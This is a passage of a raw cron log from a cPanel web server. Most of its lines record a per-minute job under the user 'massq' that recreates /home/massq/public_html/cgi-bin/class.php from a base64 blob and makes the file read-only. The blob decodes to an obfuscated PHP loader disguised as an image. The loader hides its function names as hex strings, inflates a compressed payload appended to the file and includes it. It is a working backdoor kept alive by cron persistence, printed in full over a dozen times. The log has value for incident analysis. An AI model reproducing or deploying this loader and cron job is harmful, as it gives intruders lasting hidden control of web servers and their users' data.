&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:49:01 server CROND[25891]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:50:01 server CROND[26186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 19:50:01 server CROND[26187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:50:01 server CROND[26191]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:50:01 server CROND[26192]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 19:50:01 server CROND[26193]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:51:01 server CROND[26503]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:52:01 server CROND[26757]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:53:01 server CROND[27012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:54:01 server CROND[27367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:55:01 server CROND[27628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 19:55:01 server CROND[27629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:55:01 server CROND[27630]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 19:56:01 server CROND[27937]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:57:01 server CROND[28191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:57:01 server CROND[28192]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 19:58:01 server CROND[28556]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 19:59:01 server CROND[28811]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:00:01 server CROND[29136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 20:00:01 server CROND[29135]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 20:00:01 server CROND[29137]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 20:00:01 server CROND[29139]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 15 20:00:01 server CROND[29138]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 20:01:01 server CROND[29514]: (root) CMD (run-parts /etc/cron.hourly)
